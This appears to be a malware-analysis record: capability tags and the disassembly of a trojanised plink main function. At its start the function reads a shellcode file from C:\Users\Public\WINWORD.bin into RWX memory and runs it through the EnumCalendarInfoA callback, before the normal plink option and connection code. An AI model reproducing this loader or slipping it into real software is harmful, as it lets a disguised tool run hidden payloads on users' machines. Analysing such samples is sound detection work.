Function at 0x43eb60
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file size
Get number of processors
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x47b800]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
call fcn.0043b6b0
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:UsersPublicWINWORD.bin
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x5c], 0
mov dword [0x47dc18], 3
mov dword [0x47dc14], 0x16
mov dword [0x47dc1c], 2
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [ebp - 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [ebp - 0x54], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x54], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualAlloc
push dword [ebp - 0x54]
call esi
push 4
push 0x1000
push ebx
push 0
call eax
push str.VirtualProtect
push dword [ebp - 0x54]
mov edi, eax
call esi
lea ecx, [ebp - 0x60]
push ecx
push 0x40
push ebx
push edi
call eax
mov esi, dword [ebp - 0x40]
lea eax, [ebp - 0x64]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov byte [edi], 0xb8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x15
push 0xffffffffffffffff
push 0x400
push edi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call fcn.00402ef0
push eax
push 0
mov dword [0x47d098], eax
call fcn.00409000
push 2
push dword [0x47d098]
mov dword [0x47dc10], 0
call fcn.00402d20
push 1
push dword [0x47d098]
mov dword [0x47dc18], eax
call fcn.00402d20
mov dword [0x47dc14], eax
xor eax, eax
push str.PLINK_PROTOCOL
mov dword [ebp - 0x40], eax
call fcn.0044f489
add esp, 0x1c
test eax, eax
je 0x43ecff
push eax
call fcn.00408f60
add esp, 4
test eax, eax
je 0x43ecff
mov ecx, dword [eax + 0x48]
push ecx
push 2
push dword [0x47d098]
mov dword [0x47dc18], ecx
mov eax, dword [eax + 0x4c]
mov dword [0x47dc14], eax
call fcn.00402f70
push dword [0x47dc14]
push 1
push dword [0x47d098]
call fcn.00402f70
add esp, 0x18
mov ebx, dword [ebp - 0x38]
sub ebx, 1
mov dword [ebp - 0x38], ebx
je 0x43f1b9
mov ecx, dword [ebp - 0x34]
movsx edi, byte [ecx + 1]
inc ecx
mov dword [ebp - 0x34], ecx
mov al, byte [edi]
cmp al, 0x2d
jne 0x43ef24
lea esi, [ecx + 1]
cmp ebx, 1
jle 0x43ed30
movsx eax, byte [esi]
jmp 0x43ed32
xor eax, eax
push dword [0x47d098]
push 1
push eax
push edi
call fcn.00401390
add esp, 0x10
cmp eax, 0xfffffffe
jne 0x43ed6e
push edi
push str.plink:_option___s__requires_an_argument_n
push 2
call fcn.004488c3
add esp, 4
push eax
call fcn.00403710
add esp, 0xc
mov dword [ebp - 0x40], 1
jmp 0x43f0f0
cmp eax, 2
jne 0x43ed7b
dec ebx
mov ecx, esi
jmp 0x43f0f3
cmp eax, 1
je 0x43f0f0
mov ecx, str._batch
mov eax, edi
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43edb0
test dl, dl
je 0x43edac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43edb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x43ed90
xor eax, eax
jmp 0x43edb5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x43edc8
mov dword [0x47c948], 1
jmp 0x43f0f0
mov ecx, 0x4704b0
mov eax, edi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43edf0
test dl, dl
je 0x43edec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43edf0
add eax, 2
add ecx, 2
test dl, dl
jne 0x43edd0
xor eax, eax
jmp 0x43edf5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x43ee05
mov dword [ebp - 0x48], 1
jmp 0x43f0f0
mov ecx, 0x4704b4
mov eax, edi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43ee30
test dl, dl
je 0x43ee2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43ee30
add eax, 2
add ecx, 2
test dl, dl
jne 0x43ee10
xor eax, eax
jmp 0x43ee35
sbb eax, eax
or eax, 1
test eax, eax
je 0x43f8fd
mov ecx, str.__version
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43ee64
test dl, dl
je 0x43ee60
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43ee64
add eax, 2
add ecx, 2
test dl, dl
jne 0x43ee44
xor eax, eax
jmp 0x43ee69
sbb eax, eax
or eax, 1
test eax, eax
je 0x43f8fd
mov ecx, str.__help
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43ee98
test dl, dl
je 0x43ee94
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43ee98
add eax, 2
add ecx, 2
test dl, dl
jne 0x43ee78
xor eax, eax
jmp 0x43ee9d
sbb eax, eax
or eax, 1
test eax, eax
je 0x43f8ec
mov ecx, str._pgpfp
mov eax, edi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43eed0
test dl, dl
je 0x43eecc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43eed0
add eax, 2
add ecx, 2
test dl, dl
jne 0x43eeb0
xor eax, eax
jmp 0x43eed5
sbb eax, eax
or eax, 1
test eax, eax
je 0x43f8f1
mov ecx, str._shareexists
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43ef04
test dl, dl
je 0x43ef00
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43ef04
add eax, 2
add ecx, 2
test dl, dl
jne 0x43eee4
xor eax, eax
jmp 0x43ef09
sbb eax, eax
or eax, 1
test eax, eax
jne 0x43ef19
mov dword [ebp - 0x44], 1
jmp 0x43f0f0
push edi
push str.plink:_unknown_option___s__n
jmp 0x43ed4f
test al, al
je 0x43f0f3
push dword [0x47d098]
call fcn.004046c0
add esp, 4
test eax, eax
je 0x43ef55
cmp dword [ebp - 0x3c], 0
jne 0x43f104
cmp dword [0x47dc10], 0
jne 0x43f104
push 7
push str.telnet:
push edi
call fcn.004468f0
add esp, 0xc
test eax, eax
jne 0x43eff5
add edi, 7
cmp byte [edi], 0x2f
jne 0x43ef7e
cmp byte [edi + 1], 0x2f
jne 0x43ef7e
add edi, 2
push 1
push 2
push dword [0x47d098]
call fcn.00402f70
push 0x470508
push edi
call fcn.00404b40
mov cl, byte [eax + edi]
add eax, edi
add esp, 0x14
test cl, cl
je 0x43efa8
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x43efc6
push eax
call fcn.004468c6
push eax
push 1
push dword [0x47d098]
call fcn.00402f70
add esp, 0x10
jmp 0x43efd8
push 0xffffffffffffffff
push 1
push dword [0x47d098]
call fcn.00402f70
add esp, 0xc
push edi
push 0
push dword [0x47d098]
call fcn.00402fd0
add esp, 0xc
mov dword [ebp - 0x3c], 1
jmp 0x43f0f0
push 0x2c
push edi
call fcn.004444f0
mov esi, eax
add esp, 8
test esi, esi
je 0x43f03a
push edi
mov byte [esi], 0
call fcn.00408f60
mov edi, eax
add esp, 4
test edi, edi
je 0x43f037
mov eax, dword [edi + 0x48]
push eax
push 2
push dword [0x47d098]
mov dword [0x47dc18], eax
call fcn.00402f70
mov eax, dword [edi + 0x4c]
add esp, 0xc
mov dword [ebp - 0x4c], eax
lea edi, [esi + 1]
push 0x40
push edi
call fcn.00444ba0
xor ecx, ecx
lea esi, [edi + 1]
add esp, 8
cmp eax, edi
cmovne ecx, eax
cmovne esi, edi
test ecx, ecx
je 0x43f060
mov ebx, esi
mov byte [ecx], 0
lea esi, [ecx + 1]
jmp 0x43f062
xor ebx, ebx
call fcn.00402ef0
mov edi, eax
push edi
push esi
call fcn.00409000
add esp, 8
cmp dword [0x47dc10], 0
jne 0x43f0a4
push edi
call fcn.004046c0
add esp, 4
test eax, eax
je 0x43f0a4
push edi
push dword [0x47d098]
call fcn.00402c30
add esp, 8
mov dword [0x47dc10], 1
jmp 0x43f0cf
push esi
push 0
push dword [0x47d098]
call fcn.00402fd0
push dword [0x47dc14]
push 1
push dword [0x47d098]
call fcn.00402f70
add esp, 0x18
mov dword [ebp - 0x3c], 1
push edi
call fcn.00402d00
add esp, 4
test ebx, ebx
je 0x43f0ed
push ebx
push 0x34
push dword [0x47d098]
call fcn.00402fd0
add esp, 0xc
mov ebx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
sub ebx, 1
mov dword [ebp - 0x38], ebx
jne 0x43ed11
jmp 0x43f1af
mov eax, dword [ebp - 0x38]
xor ebx, ebx
xor esi, esi
xor ecx, ecx
test eax, eax
je 0x43f17d
cmp byte [edi], 0
je 0x43f140
sub edi, esi
cmp esi, ebx
jl 0x43f130
push 1
lea ebx, [esi + 0x200]
push ebx
push ecx
call fcn.00404f00
add esp, 0xc
mov ecx, eax
mov al, byte [edi + esi]
mov byte [ecx + esi], al
inc esi
cmp byte [edi + esi], 0
jne 0x43f118
mov eax, dword [ebp - 0x38]
cmp esi, ebx
jl 0x43f15b
push 1
lea ebx, [esi + 0x200]
push ebx
push ecx
call fcn.00404f00
mov ecx, eax
add esp, 0xc
mov eax, dword [ebp - 0x38]
mov byte [ecx + esi], 0x20
inc esi
sub eax, 1
mov dword [ebp - 0x38], eax
je 0x43f174
mov edx, dword [ebp - 0x34]
inc edx
mov dword [ebp - 0x34], edx
movsx edi, byte [edx]
jmp 0x43f111
test esi, esi
je 0x43f17d
mov byte [ecx + esi - 1], 0
push ecx
push 0x14
push dword [0x47d098]
call fcn.00402fd0
push 0x4603b7
push 0x15
push dword [0x47d098]
call fcn.00402fd0
push 1
push 0x16
push dword [0x47d098]
call fcn.00402f70
add esp, 0x24
cmp dword [ebp - 0x40], 0
jne 0x43f330
push dword [0x47d098]
call fcn.004046c0
add esp, 4
test eax, eax
je 0x43f8ec
cmp dword [ebp - 0x3c], 0
jne 0x43f1e2
cmp dword [0x47dc10], 0
je 0x43f8ec
push 0
push dword [0x47d098]
call fcn.00402d20
push eax
call fcn.00404880
mov edi, eax
push 0x460a00
push edi
call fcn.004495e0
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x43f236
push 0x40
push esi
call fcn.00444ba0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x43f236
push esi
push 0x34
push dword [0x47d098]
mov byte [ebx], 0
call fcn.00402fd0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.00404ac0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x43f25b
lea eax, [ebx + 1]
push 0x3a
push eax
call fcn.00404ac0
add esp, 8
test eax, eax
jne 0x43f25b
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x43f276
cmp al, 0x20
je 0x43f26e
cmp al, 9
je 0x43f26e
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x43f263
push edi
push 0
push dword [0x47d098]
mov byte [ecx], 0
call fcn.00402fd0
push edi
call fcn.00404e40
push dword [0x47d098]
call fcn.00402a90
add esp, 0x14
cmp dword [ebp - 0x48], 0
je 0x43f2b3
push 1
push 0x2b
push dword [0x47d098]
call fcn.00402f70
add esp, 0xc
push 0x14
push dword [0x47d098]
call fcn.00402d20
add esp, 8
cmp byte [eax], 0
jne 0x43f2f9
push 0x15
push dword [0x47d098]
call fcn.00402d20
add esp, 8
cmp byte [eax], 0
jne 0x43f2f9
push 0x2e
push dword [0x47d098]
call fcn.00402d20
add esp, 8
cmp byte [eax], 0
jne 0x43f2f9
or dword [0x47dc1c], 4
push 2
push dword [0x47d098]
call fcn.00402d20
push eax
call fcn.00408fd0
add esp, 0xc
mov dword [0x47d090], eax
test eax, eax
jne 0x43f348
push str.Internal_fault:_Unsupported_protocol_found_n
push 2
call fcn.004488c3
add esp, 4
push eax
call fcn.00403710
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004437dd
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp - 0x4c]
cmp eax, 0xffffffff
je 0x43f361
push eax
push 1
push dword [0x47d098]
call fcn.00402f70
add esp, 0xc
call fcn.0043c890
cmp dword [0x47dc2c], 0
jne 0x43f376
push str.Plink_requires_WinSock_2_n
jmp 0x43f31d
push 2
push dword [0x47d098]
call fcn.00402d20
add esp, 8
cmp eax, 3
jne 0x43f3e3
push 0x95
push dword [0x47d098]
call fcn.00402d20
add esp, 8
test eax, eax
jne 0x43f3e3
push 0x1d
push dword [0x47d098]
call fcn.00402d20
add esp, 8
test eax, eax
jne 0x43f3e3
push eax
push 0x9b
push dword [0x47d098]
call fcn.00402d80
add esp, 0xc
test eax, eax
jne 0x43f3e3
push 1
push 0xa9
push dword [0x47d098]
call fcn.00402f70
add esp, 0xc
push dword [0x47d098]
push 0
call fcn.004037f0
push eax
mov dword [0x47dc34], eax
call fcn.00439db0
add esp, 0xc
cmp dword [ebp - 0x44], 0
je 0x43f473
mov esi, dword [0x47d090]
cmp dword [esi + 0x40], 0
jne 0x43f430
push dword [esi + 0x44]
push str.Connection_sharing_not_supported_for_connection_type__s_n
push 2
call fcn.004488c3
add esp, 4
push eax
call fcn.00403710
add esp, 0xc
jmp 0x43f330
mov eax, dword [0x47d098]
push eax
push 1
push eax
call fcn.00402d20
add esp, 8
push eax
push 0
push dword [0x47d098]
call fcn.00402d20
add esp, 8
push eax
mov eax, dword [esi + 0x40]
call eax
add esp, 0xc
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004437dd
mov esp, ebp
pop ebp
ret 0x10
cmp dword [0x47dc20], 0
je 0x43f48b
push str.Running_with_restricted_process_ACL
push 0
call fcn.00439dc0
add esp, 8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 7
push dword [0x47d098]
mov dword [0x47dbec], eax
call fcn.00402d20
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 8
test eax, eax
je 0x43f4cd
push 0xfffffffffffffff6
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 2
jne 0x43f4cd
lea edi, [eax - 1]
jmp 0x43f4cf
xor edi, edi
push 8
push dword [0x47d098]
call fcn.00402d20
add esp, 8
push eax
push edi
lea eax, [ebp - 0x44]
push eax
push 1
push dword [0x47d098]
call fcn.00402d20
add esp, 8
push eax
push 0
push dword [0x47d098]
call fcn.00402d20
add esp, 8
push eax
push dword [0x47d098]
mov eax, dword [0x47d090]
push 0x47d094
push 0
mov eax, dword [eax]
call eax
add esp, 0x20
test eax, eax
je 0x43f52f
push eax
push str.Unable_to_open_connection:_n_s
jmp 0x43f418
mov eax, dword [0x47d090]
push dword [0x47dc34]
push dword [0x47d094]
mov eax, dword [eax + 0x34]
call eax
push dword [ebp - 0x44]
call fcn.00404e40
add esp, 0xc
push 0xfffffffffffffff6
call esi
push 0xfffffffffffffff5
mov dword [0x47dc08], eax
call esi
push 0xfffffffffffffff4
mov dword [0x47dc04], eax
call esi
push 0x47dbf0
push dword [0x47dc08]
mov dword [0x47dc00], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 1
push dword [0x47dc08]
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0x43fd20
push dword [0x47dc04]
call fcn.0043af10
push 0
push 0
push 0x43fd20
push dword [0x47dc00]
mov dword [0x47dbf8], eax
call fcn.0043af10
add esp, 0x20
mov dword [0x47dbf4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ebx, ebx
mov dword [0x47d09c], eax
mov dword [ebp - 0x48], ebx
call esi
mov edi, eax
nop dword [eax]
test ebx, ebx
jne 0x43f61c
mov eax, dword [0x47d090]
push dword [0x47d094]
mov eax, dword [eax + 0x28]
call eax
add esp, 4
test eax, eax
je 0x43f61c
push ebx
push ebx
push 0x43fc10
push dword [0x47dc08]
call fcn.0043aca0
add esp, 0x10
mov dword [0x47dbfc], eax
mov dword [ebp - 0x48], 1
call fcn.004012c0
test eax, eax
je 0x43f62c
xor esi, esi
mov dword [ebp - 0x58], edi
jmp 0x43f659
lea eax, [ebp - 0x58]
push eax
push edi
call fcn.00438550
add esp, 8
test eax, eax
je 0x43f656
call esi
mov esi, dword [ebp - 0x58]
mov edx, eax
mov ecx, esi
sub eax, edi
sub ecx, edi
cmp eax, ecx
jbe 0x43f652
xor esi, esi
jmp 0x43f659
sub esi, edx
jmp 0x43f659
or esi, 0xffffffff
lea eax, [ebp - 0x3c]
push eax
call fcn.0043aad0
mov ecx, eax
mov eax, dword [ebp - 0x3c]
push 4
inc eax
push eax
push ecx
call fcn.00404f00
mov ecx, dword [ebp - 0x3c]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x47dbec]
mov dword [ebp - 0x4c], ebx
push 8
push esi
mov dword [ebx + ecx*4], eax
mov eax, dword [ebp - 0x3c]
push 0
push ebx
inc eax
push eax
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov ecx, eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], ecx
cmp ecx, eax
jae 0x43f6b1
push dword [ebx + ecx*4]
call fcn.0043ab80
add esp, 4
jmp 0x43f7b0
jne 0x43f7c9
lea eax, [ebp - 0x40]
xor esi, esi
push eax
call fcn.0043be00
add esp, 4
cmp eax, 0xffffffff
je 0x43f6e2
nop word [eax + eax]
lea eax, [ebp - 0x40]
inc esi
push eax
call fcn.0043bf90
add esp, 4
cmp eax, 0xffffffff
jne 0x43f6d0
cmp esi, dword [ebp - 0x5c]
jle 0x43f702
lea eax, [esi + 0x10]
push 4
push eax
push dword [ebp - 0x50]
mov dword [ebp - 0x5c], eax
call fcn.00404f00
mov edi, eax
add esp, 0xc
mov dword [ebp - 0x50], edi
jmp 0x43f705
mov edi, dword [ebp - 0x50]
lea eax, [ebp - 0x40]
xor esi, esi
push eax
mov dword [ebp - 0x44], esi
call fcn.0043be00
add esp, 4
cmp eax, 0xffffffff
je 0x43f738
nop dword [eax + eax]
mov dword [edi + esi*4], eax
lea eax, [ebp - 0x40]
push eax
inc esi
call fcn.0043bf90
add esp, 4
cmp eax, 0xffffffff
jne 0x43f720
mov dword [ebp - 0x44], esi
xor ebx, ebx
test esi, esi
jle 0x43f7ad
nop
mov edi, dword [edi + ebx*4]
lea eax, [ebp - 0x30]
push eax
push 0
push edi
call dword [0x47dc24]
test eax, eax
jne 0x43f7a5
push edi
call fcn.0043e430
push dword [ebp - 0x30]
call fcn.0043e430
add esp, 8
mov eax, 0x46fb78
xor esi, esi
nop dword [eax]
mov edx, dword [eax + esi]
test dword [ebp - 0x30], edx
je 0x43f79a
mov eax, dword [esi + 0x46fb74]
movzx ecx, word [ebp + eax*4 - 0x2c]
shl ecx, 0x10
movzx eax, dx
or ecx, eax
push ecx
push edi
call fcn.0043c000
add esp, 8
mov eax, 0x46fb78
add esi, 8
cmp esi, 0x30
jb 0x43f770
mov esi, dword [ebp - 0x44]
mov edi, dword [ebp - 0x50]
inc ebx
cmp ebx, esi
jl 0x43f740
mov ebx, dword [ebp - 0x4c]
call fcn.00401280
cmp dword [ebp - 0x38], 0x102
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x43f823
mov edi, dword [ebp - 0x58]
jmp 0x43f827
inc eax
cmp ecx, eax
jne 0x43f7b0
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
lea eax, [ebp - 0x20]
push 1
push 0x8004
push 0x8004
push 0xffffffffffffffff
push eax
call edi
test eax, eax
je 0x43f7b0
nop dword [eax]
mov esi, dword [ebp - 0x14]
push dword [esi + 0xc]
mov eax, dword [esi]
push dword [esi + 8]
push dword [esi + 4]
call eax
push esi
call fcn.00404e40
add esp, 0x10
lea eax, [ebp - 0x20]
push 1
push 0x8004
push 0x8004
push 0xffffffffffffffff
push eax
call edi
test eax, eax
jne 0x43f7f0
jmp 0x43f7b0
call esi
mov edi, eax
push ebx
call fcn.00404e40
mov ebx, dword [ebp - 0x48]
add esp, 4
test ebx, ebx
je 0x43f856
mov eax, dword [0x47d090]
push dword [0x47d094]
mov eax, dword [eax + 0x10]
call eax
push eax
push dword [0x47dbfc]
call fcn.0043b1f0
add esp, 0xc
mov eax, dword [0x47d090]
push dword [0x47d094]
mov eax, dword [eax + 0x20]
call eax
add esp, 4
test eax, eax
jne 0x43f5e0
push dword [0x47dbf4]
call fcn.0043aa10
push dword [0x47dbf8]
mov esi, eax
call fcn.0043aa10
add esp, 8
add esi, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x43f5e0
mov eax, dword [0x47d090]
push dword [0x47d094]
mov eax, dword [eax + 0x24]
call eax
add esp, 4
test eax, eax
jns 0x43f8ce
push str.Remote_process_exit_code_unavailable_n
push 2
call fcn.004488c3
add esp, 4
push eax
call fcn.00403710
add esp, 8
mov eax, 1
push eax
call fcn.00439ae0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.004437dd
mov esp, ebp
pop ebp
ret 0x10
call fcn.0043fe40
call fcn.00439e00
push 1
call fcn.0044f1e2
call fcn.00440030
int3